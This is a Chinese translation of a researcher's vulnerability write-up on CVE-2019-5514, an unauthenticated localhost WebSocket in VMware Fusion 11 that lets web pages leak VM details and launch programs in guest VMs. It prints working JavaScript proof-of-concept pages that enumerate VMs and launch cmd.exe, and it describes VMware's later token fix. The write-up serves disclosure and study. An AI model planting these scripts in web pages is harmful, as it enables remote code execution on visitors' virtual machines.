VMware Fusion 11通过WebSocket接口控制虚拟机RCE漏洞分析(CVE-2019-5514)

41yf1sh 漏洞 2019年4月14日发布
Favorite收藏

导语:攻击者可以通过某个网站,在无需掌握任何预备知识的前提下,在VMware Fusion Guest VM上运行任意命令。

概述

攻击者可以通过某个网站,在无需掌握任何预备知识的前提下,在VMware Fusion Guest VM上运行任意命令。基本来说,VMware Fusion仅仅会在本地主机上侦听WebSocket。攻击者可以通过这一WebSocket界面完全控制所有虚拟机,也可以创建或删除快照,或者进行其他的操作,包括启动应用程序。攻击者需要在Guest虚拟机上安装VMware Tools,才能够启动应用程序,但实际上,大家应该都已经安装了。因此,通过在网站上创建JavaScript,攻击者就可以与未经文档记录的API实现交互。当然,这都是未经过身份验证的。

早期发现成果

几个星期前,我在Twitter上看到了@CodeColorist发表的一篇推文,谈到了这个问题。他是最早发现这一问题的人,但由于我一直没有时间研究这个问题,导致搁置了一段时间。当我再想回去看时,发现这篇推文已经被删除了。但是,我在这位研究者的微博帐号中发现了同样的推文(@CodeColorist)。下面是他发布的微博截图:

1.jpg

可以在这里看到,我们可以通过Web套接字在Guest VM上执行任意命令,该接口由amsrv进程启动。我非常信任这位研究者的研究成果,因此我接下来将在他提供的信息基础上做进一步的研究。

AMSRV

在研究中,我使用了GitHub上面的ProcInfoExample项目,利用Proc Info库来监控运行VMware Fusion时启动的进程类型。在启动VMware时,将启动vmrest(VMware REST API)和amsrv:

2019-03-05 17:17:22.434 procInfoExample[10831:7776374] process start:
pid: 10936
path: /Applications/VMware Fusion.app/Contents/Library/vmrest
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)
 
2019-03-05 17:17:22.390 procInfoExample[10831:7776374] process start:
pid: 10935
path: /Applications/VMware Fusion.app/Contents/Library/amsrv
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)

它们似乎是相关的,特别是,我们可以通过这个端口访问到一些未记录的VMware REST API调用。由于我们可以通过amsrv进程控制应用程序菜单,所以我认为这类似于“应用程序菜单服务”(Application Menu Service)。如果我们导航到/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/Resources的位置,我们可以找到一个名为app.asar的文件,在文件的末尾有一个node.js实现,与这个侦听8698端口的WebSocket相关。在该文件中,源代码的格式规范非常好,因此我们并不需要进行硬核的逆向工程。

我们查看这部分代码,它表明VMware Fusion应用程序菜单确实会在8698端口上启动amsrv进程,如果该端口被占用,那么将会尝试下一个可以启用的端口,依次类推。

const startVMRest = async () => {
   log.info('Main#startVMRest');
   if (vmrest != null) {
      log.warn('Main#vmrest is currently running.');
      return;
   }
   const execSync = require('child_process').execSync;
   let port = 8698; // The default port of vmrest is 8697
   let portFound = false;
   while (!portFound) {
      let stdout = execSync('lsof -i :' + port + ' | wc -l');
      if (parseInt(stdout) == 0) {
         portFound = true;
      } else {
         port++;
      }
   }
   // Let's store the chosen port to global
   global['port'] = port;
   const spawn = require('child_process').spawn;
   vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), [
      '-D',
      '-p',
      port
   ]);

我们可以在VMware Fusion Application目录日志中找到相关的日志信息:

2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: (url: http://localhost:8698/api/internal/vms )

这样一来,我们就可以确认Web套接字和其他API接口。

REST API – 泄漏虚拟机信息

如果我们导航到上面的URL(http://localhost:8698/api/internal/vms),我们将获得格式良好的JSON,以及关于我们的虚拟机的详细信息:

[
{
    "id": "XXXXXXXXXXXXXXXXXXXXXXXXXX",
    "processors": -1,
    "memory": -1,
    "path": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx",
    "cachePath": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist",
    "powerState": "unknown"
  }
]

这已经是信息泄露,攻击者可以获取有关我们的用户ID、文件夹名称、虚拟机名称等基本信息。下面的代码可以用于展示这些信息。如果我们能够将这个JavaScript放入任何网站,并且运行Fusion的主机可以访问它,那么我们就可以查询REST API。

var url = 'http://localhost:8698/api/internal/vms'; //A local page
 
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
 
// If specified, responseType must be empty string or "text"
xhr.responseType = 'text';
 
xhr.onload = function () {
    if (xhr.readyState === xhr.DONE) {
        if (xhr.status === 200) {
            console.log(xhr.response);
            //console.log(xhr.responseText);
            document.write(xhr.response)
        }
    }
};
 
xhr.send(null);

如果我们仔细阅读代码,就会发现这些额外的URL泄漏了更多信息:'/api/vms/' + vm.id + '/ip'。这样一来,我们就会获得虚拟机的内部IP地址,但这种方法并不适用于加密的虚拟机或已经关机的虚拟机。'/api/internal/vms/' + vm.id这部分与我们此前提到的第一个URL所获得的信息是相同的,仅仅是将信息限制为针对单个虚拟机。

WebSocket-带有vmUUID的RCE

下面是@CodeColorist发布的原始PoC。

<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
       const payload = {
              "name":"menu.onAction",
              "object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
              "userInfo": {
                     "action":"launchGuestApp:",
                     "vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
                     "representedObject":"cmd.exe"
                            }
                     };
                     ws.send(JSON.stringify(payload));
              };
ws.onmessage = function(data) {
       console.log(JSON.parse(data.data));
       ws.close();
       };
</script>

在这个PoC中,我们需要虚拟机的UUID才能启动应用程序。我们可以在vmx文件中找到bios.uuid,这就是所说的VmUUID。但问题是,这里并不存在 vmUUID泄漏的情况,我们也不能使用暴力破解的方式,这几乎是不可能完成的任务。我们需要在Guest VM上安装VMware Tools才能成功运行,但实际上绝大多数用户都已经预先安装了这一工具。如果虚拟机被挂起或关闭,那么VMware将能够帮助我们启动虚拟机。另外,命令也会被加入到队列中,直到用户登录,因此即使是在屏幕锁定的状态下,我们也可以在用户登录后运行此命令。经过一些尝试后,我注意到,如果我删除了对象和vmUUID元素,代码最后使用的虚拟机仍然会执行,因此也就会保存一些状态信息。

WebSocket – 信息泄漏

在开始还原,并追踪Web套接字将调用的内容,以及代码中的其它选项之后,一些事情就会变得清晰,这时我们就可以完整访问应用程序目录,并且可以完整控制所有内容。在检查VMware Fusion二进制文件时,我们发现其他目录中包含一些其他的选项。

                     aMenuupdate:
00000001003bedd2         db         "menu.update", 0                            ; DATA XREF=cfstring_menu_update
                     aMenushow:
00000001003bedde         db         "menu.show", 0                              ; DATA XREF=cfstring_menu_show
                     aMenuupdatehotk:
00000001003bede8         db         "menu.updateHotKey", 0                      ; DATA XREF=cfstring_menu_updateHotKey
                     aMenuonaction:
00000001003bedfa         db         "menu.onAction", 0                          ; DATA XREF=cfstring_menu_onAction
                     aMenurefresh:
00000001003bee08         db         "menu.refresh", 0                           ; DATA XREF=cfstring_menu_refresh
                     aMenusettings:
00000001003bee15         db         "menu.settings", 0                          ; DATA XREF=cfstring_menu_settings
                     aMenuselectinde:
00000001003bee23         db         "menu.selectIndex", 0                       ; DATA XREF=cfstring_menu_selectIndex
                     aMenudidclose:
00000001003bee34         db         "menu.didClose", 0                          ; DATA XREF=cfstring_menu_didClose

这些都是通过WebSocket调用的。我没有再继续深入地研究每个菜单上的每个选项,但是如果我们已经掌握了vmUUID,我们就可以做任何想做的事情,例如制作快照、启动虚拟机、删除虚拟机等等。但由于目前,我还没有弄清楚应该如何得到它,因此还没能够实际实现这一点,这也是需要解决的一个问题。

下一个值得关注的选项是menu.refresh。如果我们使用以下Payload:

       const payload = {
              "name":"menu.refresh",
                     };

我们将会获得和虚拟机以及固定应用程序相关的一些详细信息。

{
  "key": "menu.update",
  "value": {
    "vmList": [
      {
        "name": "Kali 2018 Master (2018Q4)",
        "cachePath": "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist"
      },
      {
        "name": "macOS 10.14",
        "cachePath": "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist"
      },
      {
        "name": "Windows 10 x64",
        "cachePath": "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist"
      }
    ],
    "menu": {
      "pinnedApps": [],
      "frequentlyUsedApps": [
        {
          "rawIcons": [
            {
(...)

通过前面讨论的API,我们可以发现这一点,因此我们发现了更多的信息被泄漏。

WebSocket – 完整的远程代码执行(在不掌握vmUUID的情况下)

下一个值得关注的条目时menu.selectIndex,它建议用户可以选择的虚拟机。甚至,在app.asar文件中,有一部分相关的代码,可以告知我如何对其进行调用:

   // Called when VM selection changed
   selectIndex(index: number) {
      log.info('Renderer#ActionService::selectIndex: (index:', index, ')');
      if (this.checkIsFusionUIRunning()) {
         this.send({
            name: 'menu.selectIndex',
            userInfo: { selectedIndex: index }
         });
      }

如果我们按照上面的建议来对此项进行调用,然后尝试在Guest虚拟机上启动应用程序,我们就可以指定哪个Guest VM运行该应用程序。基本上,我们可以通过这一调用来实现虚拟机的选择。

       const payload = {
              "name":"menu.selectIndex",
              "userInfo":      {
                     "selectedIndex":"3"
                            }
                     };

接下来,我进行了尝试,看看是否可以直接在menu.onAction调用中使用selectedIndex。最终,答案是肯定的。很明显,我使用menu.refresh获得的vmList具有每个虚拟机正确顺序和索引。

为了获得完整的远程代码执行,我们的步骤应该如下:

1. 使用menu.refresh泄漏虚拟机列表;

2. 使用索引,在Guest VM上启动应用程序。

PoC

<script>
 
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
       //payload to show vm names and cache path
       const payload = {
              "name":"menu.refresh",
                     };
                     ws.send(JSON.stringify(payload));                   
              };
ws.onmessage = function(data) {
       //document.write(data.data);
       console.log(JSON.parse(data.data));
       var j_son = JSON.parse(data.data);
       var vmlist = j_son.value.vmList;
       var i;
       for (i = 0; i < vmlist.length; i++) {
       //payload to launch an app, you can use either the vmUUID or the selectedIndex
       const payload = {
              "name":"menu.onAction",
              "userInfo": {
                     "action":"launchGuestApp:",
                     "selectedIndex":i,
                     "representedObject":"cmd.exe"
                            }
                     };
              if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {ws.send(JSON.stringify(payload));}                  
       }     
       ws.close();
       };
</script>

向VMware报告

在此时,我与@Codecolorist取得了联系,并询问他是否已经向VMware报告,得到了肯定的答案,并且VMware持续在与他进行沟通。我决定,向VMware发送另一份报告,因为我发现这一漏洞非常严重,特别是与原来的PoC相比,我找到了一种能够执行这种攻击的实际方法,我希望能督促VMware尽快修复。

修复

几天前,WMware发布了一个修补程序和咨询,编号为VMSA-2019-0005。我们来看看他们做出的实际改动,基本上,他们实现了令牌认证,其中每次启动VMware都会运行新生成的令牌。

下面是用于生成令牌的相关代码(来源于app.asar):

String.prototype.pick = function(min, max) {
   var n,
      chars = '';
   if (typeof max === 'undefined') {
      n = min;
   } else {
      n = min + Math.floor(Math.random() * (max - min + 1));
   }
   for (var i = 0; i < n; i++) {
      chars += this.charAt(Math.floor(Math.random() * this.length));
   }
   return chars;
String.prototype.shuffle = function() {
   var array = this.split('');
   var tmp,
      current,
      top = array.length;
   if (top)
      while (--top) {
         current = Math.floor(Math.random() * (top + 1));
         tmp = array[current];
         array[current] = array[top];
         array[top] = tmp;
      }
   return array.join('');
export class Token {
   public static generate(): string {
      const specials = '[email protected]#$%^&*()_+{}:"<>?|[];\',./`~';
      const lowercase = 'abcdefghijklmnopqrstuvwxyz';
      const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
      const numbers = '0123456789';
      const all = specials + lowercase + uppercase + numbers;
      let token = '';
      token += specials.pick(1);
      token += lowercase.pick(1);
      token += uppercase.pick(1);
      token += numbers.pick(1);
      token += all.pick(5, 7);
      token = token.shuffle();
      return Buffer.from(token).toString('base64');
   }

令牌码是一个可变长度的密码,其中包含来自APP、小写、数字和符号之中的至少1个字符。该令牌码将会被使用Base64方法进行编码,我们可以在WireShark中找到它:

2.png

我们还可以看到它正在代码中使用:

function sendVmrestReady() {
   log.info('Main#sendVmrestReady');
   if (mainWindow) {
      mainWindow.webContents.send('vmrestReady', [
         'ws://localhost:' + global['port'] + '/ws?token=' + token,
         'http://localhost:' + global['port'],
         '?token=' + token
      ]);
   }

如果我们有mac用于执行代码,我们可能会解决这一令牌的问题,但在这种情况下,它无论如何都并不重要,密码实际上会限制攻击者利用这个远程代码的能力。

通过一些实验,我还发现我们需要将Header中的Origin设置为file://,否则将会被禁用,由于这必须由浏览器进行设置,所以我们无法通过正常的JS调用来进行设置。如下所示。

Origin: file://

因此,即使攻击者知道令牌,也无法通过普通网页触发此令牌。

本文翻译自:https://theevilbit.github.io/posts/vmware_fusion_11_guest_vm_rce_cve-2019-5514/如若转载,请注明原文地址: https://www.4hou.com/vulnerable/17204.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论